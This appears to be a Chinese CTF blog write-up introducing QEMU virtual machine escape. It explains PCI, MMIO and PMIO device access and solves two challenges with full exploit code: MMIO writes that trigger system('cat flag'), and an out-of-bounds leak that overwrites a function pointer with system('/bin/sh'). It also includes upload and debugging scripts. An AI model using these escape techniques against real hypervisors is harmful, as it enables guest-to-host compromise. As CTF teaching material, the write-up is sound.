[VMPwn] 老头初探 QEMU 逃逸
"我为什么不会虚拟机逃逸?" 走在路上突然想起这个事情,突然想起前人曾经说过的一句话:"不会虚拟机逃逸的人是失败的"。
但是虚拟机逃逸分为很多种,我们先来个最 pwn 的,qemu escape。
Pre-requirement
抛开现实不谈,我们先来看看一般比赛里的题型是什么样子的。
正如(绝大多数)用户态 PWN 是提供一个有漏洞的用户态程序一样,内核 PWN 会提供一个有漏洞的内核态程序(通常是驱动),虚拟机 PWN 自然也需要有这么一个目标。
用户态 PWN,一般情况下是通过这个漏洞程序实现 RCE 或是任意文件读,内核 PWN 则是在提供普通用户权限的情况下实现 LPE 或是越权读写。
那么对于 QEMU PWN 来说,一般情况下我们会被提供一个有漏洞的 PCI 设备(它们会和 qemu 本体一起被编译到 qemu-system-x86_64 二进制文件里),最终实现从虚拟机访问宿主机的内存 / 执行命令。
什么是 PCI 设备
问得好,简单来说符合 PCI 的设备就是 PCI 设备 PCI 设备就是符合 Peripheral Component Interconnect (外围设备互联)接口标准的,接在计算机硬件层面的 PCI 总线上的设备,常见的就是那些网卡、声卡、显卡之类的。
那么知道这个有什么用呢?没啥用,因为我们都是模拟的 PCI 设备。
不过 PCI 设备它连上系统, 就会有对应的配置空间。它记录关于此设备的详细信息,例如头部的类型,设备的总类,制造商之类的。但是对于我们最关键的,还是用于表明它的信息。
> lspci
2f79:00:00.0 3D controller: Microsoft Corporation Basic Render Driver
50eb:00:00.0 System peripheral: Red Hat, Inc. Virtio file system (rev 01)
5582:00:00.0 SCSI storage controller: Red Hat, Inc. Virtio 1.0 console (rev 01)
75ce:00:00.0 3D controller: Microsoft Corporation Basic Render Driver
8ffe:00:00.0 3D controller: Microsoft Corporation Device 008a
xx:yy:z
的格式为总线:设备:功能
的格式。
❯ sudo lspci -v -x
2f79:00:00.0 3D controller: Microsoft Corporation Basic Render Driver
Physical Slot: 3443338332
Flags: bus master, fast devsel, latency 0
Capabilities: [40] Null
Kernel driver in use: dxgkrnl
00: 14 14 8e 00 07 00 10 00 00 00 02 03 00 00 00 00
10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
30: 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
50eb:00:00.0 System peripheral: Red Hat, Inc. Virtio file system (rev 01)
Subsystem: Red Hat, Inc. Device 0040
Physical Slot: 3388996451
Flags: bus master, fast devsel, latency 64
Memory at e00000000 (64-bit, non-prefetchable) [size=4K]
Memory at e00001000 (64-bit, non-prefetchable) [size=4K]
Memory at c00000000 (64-bit, non-prefetchable) [size=8G]
Capabilities: [40] MSI-X: Enable+ Count=64 Masked-
Capabilities: [4c] Vendor Specific Information: VirtIO: CommonCfg
Capabilities: [5c] Vendor Specific Information: VirtIO: Notify
Capabilities: [70] Vendor Specific Information: VirtIO: ISR
Capabilities: [80] Vendor Specific Information: VirtIO: DeviceCfg
Capabilities: [90] Vendor Specific Information: VirtIO: <unknown>
Kernel driver in use: virtio-pci
00: f4 1a 5a 10 06 04 10 00 01 00 80 08 00 40 00 00
10: 04 00 00 00 0e 00 00 00 04 10 00 00 0e 00 00 00
20: 04 00 00 00 0c 00 00 00 00 00 00 00 f4 1a 40 00
30: 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
5582:00:00.0 SCSI storage controller: Red Hat, Inc. Virtio 1.0 console (rev 01)
Subsystem: Red Hat, Inc. Device 0040
Physical Slot: 3300344309
Flags: bus master, fast devsel, latency 64
Memory at 9ffe00000 (64-bit, non-prefetchable) [size=4K]
Memory at 9ffe01000 (64-bit, non-prefetchable) [size=4K]
Memory at 9ffe02000 (64-bit, non-prefetchable) [size=4K]
Capabilities: [40] MSI-X: Enable+ Count=65 Masked-
Capabilities: [4c] Vendor Specific Information: VirtIO: CommonCfg
Capabilities: [5c] Vendor Specific Information: VirtIO: Notify
Capabilities: [70] Vendor Specific Information: VirtIO: ISR
Capabilities: [80] Vendor Specific Information: VirtIO: <unknown>
Capabilities: [94] Vendor Specific Information: VirtIO: DeviceCfg
Kernel driver in use: virtio-pci
00: f4 1a 43 10 06 04 10 00 01 00 00 01 00 40 00 00
10: 04 00 e0 ff 09 00 00 00 04 10 e0 ff 09 00 00 00
20: 04 20 e0 ff 09 00 00 00 00 00 00 00 f4 1a 40 00
30: 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
75ce:00:00.0 3D controller: Microsoft Corporation Basic Render Driver
Physical Slot: 1749427721
Flags: bus master, fast devsel, latency 0
Capabilities: [40] Null
Kernel driver in use: dxgkrnl
00: 14 14 8e 00 07 00 10 00 00 00 02 03 00 00 00 00
10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
30: 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
8ffe:00:00.0 3D controller: Microsoft Corporation Device 008a
Physical Slot: 1406519205
Flags: bus master, fast devsel, latency 0
Capabilities: [40] Null
Kernel driver in use: dxgkrnl
00: 14 14 8a 00 07 00 10 00 00 00 02 03 00 00 00 00
10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
30: 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
# lspci
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 1234:1337
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111
以 00:05.0 Class 00ff: 1234:dead
为例,来介绍每个部分含义,从左向右具体内容指代如下:
00
代表总线标号05.0
,其中05
代表设备号,.0
用来表示功能号00ff
,class_id1234
,vendor_iddead
,device_id
其中在 0x10 字节之后,保存了一个 Base Address Registers,BAR 记录了设备所需要的地址空间的类型,基址以及其他属性。值得注意的是,当它最后一位是 0 的时候,表示它是映射的 I/O 内存(MMIO);当它最后一位是 1 的时候,表示它是端口映射的 I/O 内存(PMIO)。
MMIO
当它是 MMIO 类型的时候,由第二位决定地址的类型(32 位 / 64 位)。第三位则代表是不是大区间(> 1M)。第四位则表示是不是可预取(Prefetchable)。
在 MMIO 的情况下,我们可以直接用普通的访存指令去访问设备 I/O。
在 MMIO 中,内存和 I/O 设备共享同一个地址空间。
我们可以用看看它的内存空间。它位于 sys/devices/pci~/~
下面,其中,resource0 对应 MMIO 空间,resource1 对应 PMIO 空间
start-address / end-address / flags
/sys/devices/pci0000:00/0000:00:03.0 # cat resource
0x00000000febc0000 0x00000000febdffff 0x0000000000040200
0x000000000000c000 0x000000000000c03f 0x0000000000040101
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x00000000feb80000 0x00000000febbffff 0x0000000000046200
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
#include <linux/io.h>
#include <linux/ioport.h>
void __iomem *addr;
unsigned int val;
// 1. 申请资源
if (!request_mem_region(ioaddr, iomemsize, "my_device")) {
return -EBUSY; // 资源已被占用
}
// 2. 映射物理地址
addr = ioremap(ioaddr, iomemsize);
if (!addr) {
release_mem_region(ioaddr, iomemsize);
return -ENOMEM;
}
// 3. 读写操作
val = readl(addr); // 读取 32 位
writel(val + 1, addr); // 写入 32 位
// 4. 清理
iounmap(addr);
release_mem_region(ioaddr, iomemsize);
在 kernel 下面,我们可以直接写。在用户态里,就要通过 resource0 来访问 MMIO
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>
unsigned char* mmio_mem;
void die(const char* msg)
{
perror(msg);
exit(-1);
}
void mmio_write(uint32_t addr, uint32_t value)
{
*((uint32_t*)(mmio_mem + addr)) = value;
}
uint32_t mmio_read(uint32_t addr)
{
return *((uint32_t*)(mmio_mem + addr));
}
int main(int argc, char *argv[])
{
// Open and map I/O memory for the strng device
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");
printf("mmio_mem @ %p\n", mmio_mem);
mmio_read(0x1f0000);
mmio_write(0x128, 1337);
}
PMIO
如果是 PMIO 的话,就需要用 IN/OUT 之类的指令来访问 I/O 端口。
I/O 设备有一个与内存不同的地址空间,为了实现地址空间的隔离,要么在CPU物理接口上增加一个I/O引脚,要么增加一条专用的I/O总线。
#include <sys/io.h>
uint32_t pmio_base = 0xc050;
uint32_t pmio_write(uint32_t addr, uint32_t value)
{
outl(value,addr);
}
uint32_t pmio_read(uint32_t addr)
{
return (uint32_t)inl(addr);
}
int main(int argc, char *argv[])
{
// Open and map I/O memory for the strng device
if (iopl(3) !=0 )
die("I/O permission is not enough");
pmio_write(pmio_base+0,0);
pmio_write(pmio_base+4,1);
}
Stage0: Rev & EXP - VNCTF2023 / escape_langlang_mountain
附件地址:https://pan.baidu.com/s/1uzVQqcwx3Qp0hb2_JL-_Eg 提取码:muco
https://buuoj.cn/match/matches/179/challenges#escape_langlang_mountain
这个基本上就看你会不会 mmio 交互,我们先来看看这种。
这种题基本上都会起一个 docker,还是比较复杂,不过我们就按照 README 里搭一个,具体就不说了。
我们首先观察它的 qemu 命令,可以发现它起了一个 device vn,id=vda
那么 vn 自然就是我们的漏洞 pci 设备。
❯ cat bin/launch.sh
#!/bin/sh
./qemu-system-x86_64 \
-m 64M --nographic \
-initrd ./rootfs.cpio \
-nographic \
-kernel ./vmlinuz-5.0.5-generic \
-L pc-bios/ \
-append "console=ttyS0 root=/dev/ram oops=panic panic=1" \
-monitor /dev/null \
-device vn,id=vda
所以我们把 qemu 拖进去看看。这题恶心的地方在于它删了符号表,我们从 strings 入手来看,通过搜索 vn_ 找到起始位置。
可以想到这就是一个注册函数,但是具体这些是啥呢?我们可以找一个没被干掉符号表的来看看。
void __fastcall hitb_class_init(ObjectClass_0 *a1, void *data)
{
PCIDeviceClass *v2; // rax
v2 = (PCIDeviceClass *)object_class_dynamic_cast_assert(
a1,
(const char *)&stru_64A230.bulk_in_pending[2].data[72],
(const char *)&stru_5AB2C8.msi_vectors,
469,
"hitb_class_init");
v2->revision = 16;
v2->class_id = 255;
v2->realize = pci_hitb_realize;
v2->exit = pci_hitb_uninit;
v2->vendor_id = 4660;
v2->device_id = 0x2333;
}
我们很容易猜到这个 sub_6D9166 就是一个 realize 函数指针(或者可以恢复一下 qemu 的符号表,然后把它丢个结构体 PCIDeviceClass
来看)
进入到 realize,我们继续对比。
void __fastcall pci_hitb_realize(HitbState *pdev, Error_0 **errp)
{
pdev->pdev.config[61] = 1;
if ( !msi_init(&pdev->pdev, 0, 1u, 1, 0, errp) )
{
timer_init_tl(&pdev->dma_timer, main_loop_tlg.tl[1], 1000000, (QEMUTimerCB *)hitb_dma_timer, pdev);
qemu_mutex_init(&pdev->thr_mutex);
qemu_cond_init(&pdev->thr_cond);
qemu_thread_create(&pdev->thread, (const char *)&stru_5AB2C8.not_legacy_32bit + 12, hitb_fact_thread, pdev, 0);
memory_region_init_io(&pdev->mmio, &pdev->pdev.qdev.parent_obj, &hitb_mmio_ops, pdev, "hitb-mmio", 0x100000uLL);
pci_register_bar(&pdev->pdev, 0, 0, &pdev->mmio);
}
}
经验之谈。我们看到这个参数个数和字符串,可以猜测 sub_54abb5
就是 memory_region_init_io
函数。那么对应的,off_b83e00
就是它的 ops,我们显然可以点进去看看它的函数指针在哪,从而找到对应的 read 和 write 函数。
对于 read 函数,我们很容易解析。首先 a1 肯定是结构体的指针我们不管,a2 则是我们读的地址(通过观察其他的 qemu pci 设备,或者对 read 的经验来说),其实还有应该一个 a3 用于表示大小,但是他没写,可能不需要吧)
很简单,让我们读的地址的 >> 20 & 0xf = 1
,>> 16 & 0xf = 0xf
即可把 vnctf 拷贝到一个地址上
对于 write 函数,这个也是很简单了。我们显然要在 read 操作完之后 write 两次,第一次让 a2 >> 20 & 0xf = 1
,第二次再让 a2 >> 20 & 0xf = 2,a2 >> 16 & 0xf == 0xf
,就能执行 system("cat flag")
对于 exp,我们先把模板搬过来,然后看看它的写法。
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>
unsigned char* mmio_mem;
void die(const char* msg)
{
perror(msg);
exit(-1);
}
void mmio_write(uint32_t addr, uint32_t value)
{
*((uint32_t*)(mmio_mem + addr)) = value;
}
uint32_t mmio_read(uint32_t addr)
{
return *((uint32_t*)(mmio_mem + addr));
}
int main(int argc, char *argv[])
{
// Open and map I/O memory for the strng device
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");
printf("mmio_mem @ %p\n", mmio_mem);
mmio_read(0x100);
mmio_write(0x100, 1337);
}
首先既然是 MMIO
,都叫内存映射了,自然就是要把它打开然后 mmap 过来。
我们读取它的 resource0 文件,因为刚才提到这是它的 MMIO 内存。之后,把它通过 mmap 映射到我们的虚拟地址 mmio_mem
上,之后我们对这个 mmio_mem + offset
的操作,自然也就会触发刚才的两个 ops
回调,并且地址就是我们的 offset
好的,那么这个 open 的地址怎么找呢?
/ # lspci
lspci
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 0420:1337
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111
然后和一开始的 init
函数对比,可以发现是 00:04.0
这个。
那我们就对着改就完事了。
之后我们编译然后上传。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
unsigned char* mmio_mem;
void die(const char* msg)
{
perror(msg);
exit(-1);
}
uint64_t mmio_read(uint64_t addr)
{
return *((uint64_t *)(mmio_mem + addr));
}
void mmio_write(uint64_t addr, uint64_t value)
{
*((uint64_t *)(mmio_mem + addr)) = value;
}
int main()
{
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR
| O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");
mmio_mem = mmap(0, 0x1000000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd,
0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");
mmio_read(0x1f0000);
mmio_write(0x100000, 1);
mmio_write(0x2f0000, 1);
return 0;
}
记得这里 mmap 要开大一点
我们上传脚本这么写
from pwn import *
import time, os
# p = process('./run.sh')
r = remote("localhost", 9999)
output_name = './exp'
# musl-gcc -w -s -static -o3 exp.c -o exp
# p = process(['./qemu-system-x86_64', '-m', '512M', '-kernel', './vmlinuz', '-initrd', './core.cpio', '-L', 'pc-bios', '-monitor', '/dev/null', '-append', "root=/dev/ram rdinit=/sbin/init console=ttyS0 oops=panic panic=1 loglevel=3 quiet kaslr", '-cpu', 'kvm64,+smep', '-smp', 'cores=2,threads=1', '-device', 'ccb-dev-pci', '-nographic'])
os.system("tar -czvf exp.tar.gz ./exp")
os.system("base64 exp.tar.gz > b64_exp")
def exec_cmd(cmd: bytes):
r.sendline(cmd)
r.recvuntil(b"/ # ")
def upload():
p = log.progress("Uploading...")
with open(output_name, "rb") as f:
data = f.read()
encoded = base64.b64encode(data)
r.recvuntil(b"/ # ")
for i in range(0, len(encoded), 500):
p.status("%d / %d" % (i, len(encoded)))
exec_cmd(b"echo \"%s\" >> benc" % (encoded[i:i+500]))
exec_cmd(b"cat benc | base64 -d > bout")
exec_cmd(b"chmod +x bout")
p.success()
upload()
context.log_level='debug'
# r.sendlineafter("/ #", "./bout")
r.interactive()
Stage1: Simple OOB - CCB2025 / ccb-dev
〉 附件地址:队内网盘,估计不会公开,找不到可以找我要)
接下来,我们正式来打一题。
因为是线下断网环境,这次给的是一个 tar,我们也是正常 load 进去,然后用 docker cp 把 qemu-system_x86-64 给它弄出来
我们看一下 start.sh
root@98f8c96b09be:/home/ctf# cat run.sh
#!/bin/sh
./qemu-system-x86_64 \
-m 512M \
-kernel ./vmlinuz \
-initrd ./core.cpio \
-L pc-bios \
-monitor /dev/null \
-append "root=/dev/ram rdinit=/sbin/init console=ttyS0 oops=panic panic=1 loglevel=3 quiet kaslr" \
-cpu kvm64,+smep \
-smp cores=2,threads=1 \
-device ccb-dev-pci \
-nographic
那自然就是找这个 ccb-dev-pci 了。我们 ida 看一眼。
可以看出和刚才那个结构差不多,那么我们就看看它的 mmio_read 和 mmio_write
感觉这个 mmio_read 一眼越界读,不确定,再看看
显然有,然后我们也能改 dev->log_handler,然后任意地址读写。
把 log_handler 改成 system,log_fd 改成 "/bin/sh"
,感觉就结束了。
接下来感觉就是一些用户态 libc 的东西。我们先进它的 docker 把 libc 搞出来方便本地打。~~~~看了一眼发现依赖好像有点多,又要把 cpio 之类的东西拿出来。
我们利用 cat /etc/os-release
看到 docker 是 18.04 的版本,因为没有静态编译的版本,我们把 nopwndocker 里的 18.04 的 gdbserver 和依赖拷进去开一个,这里我重新创了个 docker,把 12314 端口开了,其实也很麻烦(不如直接把它依赖拷出来了说是)
# nopwndocker
root@ed7131800cc4 /# ldd $(which gdbserver)
linux-vdso.so.1 (0x00007ffc54da3000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f7dc9d9d000)
libstdc++.so.6 => /usr/lib/x86_64-linux-gnu/libstdc++.so.6 (0x00007f7dc9a14000)
libgcc_s.so.1 => /lib/x86_64-linux-gnu/libgcc_s.so.1 (0x00007f7dc97fc000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f7dc95dd000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f7dc91ec000)
/lib64/ld-linux-x86-64.so.2 (0x00007f7dca238000)
libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007f7dc8e4e000)
# ccb-dev docker
$ LD_LIB_LIBRARY=./libs ./gdbserver host:12314 run.sh
# host
gdb-gef --ex "target remote :12314"
发现这种方法符号加载有问题,倒闭!
我们还是把它的依赖都拿出来吧 —— 顺手写了一个脚本
#!/bin/bash
if [ "$#" -ne 2 ]; then
echo "Usage: $0 <source_file> <destination_directory>"
exit 1
fi
SOURCE_FILE="$1"
DESTINATION_DIR="$2"
if [ ! -f "$SOURCE_FILE" ]; then
echo "Error: Source file '$SOURCE_FILE' does not exist."
exit 1
fi
if [ ! -d "$DESTINATION_DIR" ]; then
mkdir -p "$DESTINATION_DIR"
fi
ldd "$SOURCE_FILE" 2>/dev/null | awk '
/=> \// && !/linux-vdso/ { print $3 }
/^\// && !/linux-vdso/ { print $1 }
' | while read -r DEPENDENCY; do
if [ -f "$DEPENDENCY" ]; then
REALPATH=$(realpath "$DEPENDENCY")
cp -v "$REALPATH" "$DESTINATION_DIR/$(basename "$DEPENDENCY")"
else
echo "Warning: Dependency '$DEPENDENCY' not found."
fi
done
echo "All dependencies copied to '$DESTINATION_DIR'."
root@00516f495748:/home/ctf# ./ldd_copier.bash qemu-system-x86_64 ./my_libs
'/lib/x86_64-linux-gnu/libz.so.1.2.11' -> './my_libs/libz.so.1'
'/usr/lib/x86_64-linux-gnu/libpixman-1.so.0.34.0' -> './my_libs/libpixman-1.so.0'
'/lib/x86_64-linux-gnu/libutil-2.27.so' -> './my_libs/libutil.so.1'
'/usr/lib/x86_64-linux-gnu/libfdt-1.4.5.so' -> './my_libs/libfdt.so.1'
'/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.5600.4' -> './my_libs/libglib-2.0.so.0'
'/lib/x86_64-linux-gnu/librt-2.27.so' -> './my_libs/librt.so.1'
'/lib/x86_64-linux-gnu/libm-2.27.so' -> './my_libs/libm.so.6'
'/lib/x86_64-linux-gnu/libgcc_s.so.1' -> './my_libs/libgcc_s.so.1'
'/lib/x86_64-linux-gnu/libpthread-2.27.so' -> './my_libs/libpthread.so.0'
'/lib/x86_64-linux-gnu/libc-2.27.so' -> './my_libs/libc.so.6'
'/lib/x86_64-linux-gnu/libpcre.so.3.13.3' -> './my_libs/libpcre.so.3'
All dependencies copied to './my_libs'.
然后拷到 nopwndocker 里,我们开两个窗口
# T1
LD_LIBRARY_PATH=./my_libs ./run.sh
# T2
#!/bin/sh
PID=$(ps -a | grep qemu | awk '{print $1}')
if [ -z "$PID" ]; then
echo "No qemu process found"
exit 1
fi
gdb -p $PID -x gdbscript
可以看到大概是这样的
index = 0,
buffer = {0 <repeats 16 times>},
log_handler = 0x7faa43e0d140 <dprintf>,
log_fd = 2,
log_arg = 0,
log_format = '\000' <repeats 127 times>,
status = 0
}
pwndbg> p *(CCBPCIDevState *)0x00005642fdea5ee0
这里有一个 dprintf 的指针,我们看看能不能拿到它,简单计算一下 offset(每个 uint32),我们用 0x11
即可。
mmio_write(0, 0x11);
mmio_read(4);
printf("mmio_read(4) = 0x%x\n", mmio_read(4));
// mmio_read(4) = 0xf4bec140
显然拿到了,不过一次拿一个 uint32,所以我们要再往前读一点,然后计算 libc 基址,然后拿到 system 上去,对于 /bin/sh 也是一样,不再赘述。
#include <sys/io.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sys/types.h>
unsigned char* mmio_mem;
uint32_t pmio_base=0xc010;
void die(const char* msg)
{
perror(msg);
exit(-1);
}
void mmio_write(uint32_t addr,uint32_t value)
{
*((uint32_t *)(mmio_mem+addr)) = value;
}
uint32_t mmio_read(uint32_t addr)
{
return *((uint32_t*)(mmio_mem+addr));
}
void pmio_write(uint32_t addr,uint32_t value)
{
outl(value,addr);
}
uint32_t pmio_read(uint32_t addr)
{
return (uint32_t)(inl(addr));
}
uint32_t pmio_abread(uint32_t offset)
{
//return the value of (addr >> 2)
pmio_write(pmio_base+0,offset);
return pmio_read(pmio_base+4);
}
void pmio_abwrite(uint32_t offset,uint32_t value)
{
pmio_write(pmio_base+0,offset);
pmio_write(pmio_base+4,value);
}
int main()
{
// Open and map I/O memory for the strng device
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");
printf("mmio_mem @ %p\n", mmio_mem);
mmio_write(0, 0x11);
uint64_t libc_base = mmio_read(4);
mmio_write(0, 0x12);
libc_base |= ((uint64_t)mmio_read(4)) << 32;
libc_base -= 0x65140;
printf("libc_base = 0x%lx\n", libc_base);
uint64_t system = libc_base + 0x403860;
uint64_t binsh = libc_base + 0x1b3d88;
printf("system = 0x%lx\n", system);
printf("binsh = 0x%lx\n", binsh);
mmio_write(4, system >> 32);
mmio_write(0, 0x11);
mmio_write(4, system & 0xffffffff);
mmio_write(0, 0x13);
mmio_write(4, binsh & 0xffffffff);
mmio_write(0, 0x14);
mmio_write(4, binsh >> 32);
mmio_write(0xc, 0);
return 0;
}
这里我们已经拿到了 /bin/sh
,但是出于某种原因没办法交互(管道冲突?),在 docker 中可以正常打
attachs
这里丢了一些调试的时候用到的脚本
ldd_copier.sh
用于从 docker 中一键拉一个 elf 的所有依赖,方便后面用 LD_LIBRARY_PATH
指定
#!/bin/bash
if [ "$#" -ne 2 ]; then
echo "Usage: $0 <source_file> <destination_directory>"
exit 1
fi
SOURCE_FILE="$1"
DESTINATION_DIR="$2"
if [ ! -f "$SOURCE_FILE" ]; then
echo "Error: Source file '$SOURCE_FILE' does not exist."
exit 1
fi
if [ ! -d "$DESTINATION_DIR" ]; then
mkdir -p "$DESTINATION_DIR"
fi
ldd "$SOURCE_FILE" 2>/dev/null | awk '
/=> \// && !/linux-vdso/ { print $3 }
/^\// && !/linux-vdso/ { print $1 }
' | while read -r DEPENDENCY; do
if [ -f "$DEPENDENCY" ]; then
REALPATH=$(realpath "$DEPENDENCY")
cp -v "$REALPATH" "$DESTINATION_DIR/$(basename "$DEPENDENCY")"
else
echo "Warning: Dependency '$DEPENDENCY' not found."
fi
done
echo "All dependencies copied to '$DESTINATION_DIR'."
upload.py
用于远程上传
from pwn import *
import time, os
# p = process('./run.sh')
r = remote("localhost", 9999)
output_name = './exp'
# p = process(['./qemu-system-x86_64', '-m', '512M', '-kernel', './vmlinuz', '-initrd', './core.cpio', '-L', 'pc-bios', '-monitor', '/dev/null', '-append', "root=/dev/ram rdinit=/sbin/init console=ttyS0 oops=panic panic=1 loglevel=3 quiet kaslr", '-cpu', 'kvm64,+smep', '-smp', 'cores=2,threads=1', '-device', 'ccb-dev-pci', '-nographic'])
os.system("tar -czvf exp.tar.gz ./exp")
os.system("base64 exp.tar.gz > b64_exp")
def exec_cmd(cmd: bytes):
r.sendline(cmd)
r.recvuntil(b"/ # ")
def upload():
p = log.progress("Uploading...")
with open(output_name, "rb") as f:
data = f.read()
encoded = base64.b64encode(data)
r.recvuntil(b"/ # ")
for i in range(0, len(encoded), 500):
p.status("%d / %d" % (i, len(encoded)))
exec_cmd(b"echo \"%s\" >> benc" % (encoded[i:i+500]))
exec_cmd(b"cat benc | base64 -d > bout")
exec_cmd(b"chmod +x bout")
p.success()
upload()
context.log_level='debug'
# r.sendlineafter("/ #", "./bout")
r.interactive()
compile.sh
用于编译 + 压缩到 cpio 中,方便本地调试
#!/bin/sh
musl-gcc -w -s -static -o3 exp.c -o fs/exp
cd fs
compress_fs core.cpio
附赠 compress_fs 和 extract_fs
#!/bin/bash
# 默认目标文件夹
folder="fs"
# 解析参数
while [[ "$#" -gt 0 ]]; do
case $1 in
-f | --folder)
folder="$2"
shift
;;
*)
cpio_path="$1"
;;
esac
shift
done
# 检查cpio_path是否提供
if [[ -z "$cpio_path" ]]; then
echo "Usage: $0 [-f|--folder folder_name] cpio_path"
exit 1
fi
# 创建目标文件夹
mkdir -p "$folder"
# 将cpio_path拷贝到目标文件夹
cp "$cpio_path" "$folder"
# 获取文件名
cpio_file=$(basename "$cpio_path")
# 进入目标文件夹
cd "$folder" || exit
# 判断文件是否被 gzip 压缩
if file "$cpio_file" | grep -q "gzip compressed"; then
echo "$cpio_file is gzip compressed, checking extension..."
# 判断文件名是否带有 .gz 后缀
if [[ "$cpio_file" != *.gz ]]; then
mv "$cpio_file" "$cpio_file.gz"
cpio_file="$cpio_file.gz"
fi
echo "Decompressing $cpio_file..."
gunzip "$cpio_file"
# 去掉 .gz 后缀,得到解压后的文件名
cpio_file="${cpio_file%.gz}"
fi
# 解压cpio文件
echo "Extracting $cpio_file to file system..."
cpio -idmv <"$cpio_file"
rm "$cpio_file"
echo "Extraction complete."
#!/bin/sh
if [[ $# -ne 1 ]]; then
echo "Usage: $0 cpio_path"
exit 1
fi
cpio_file="../$1"
find . -print0 |
cpio --null -ov --format=newc |
gzip -9 >"$cpio_file"
gdb.sh
用于 docker 里一键起 gdb attach 到 qemu 然后调试
#!/bin/sh
PID=$(ps -a | grep qemu | awk '{print $1}')
if [ -z "$PID" ]; then
echo "No qemu process found"
exit 1
fi
gdb -p $PID -x gdbscript
附赠个 gdbscript
# b ccb_dev_mmio_read
b *$rebase(0x5798b1)
c
docker
起调试用 docker 的指令
docker run -it -v .:/mnt --rm --privileged nopwnv2:18.04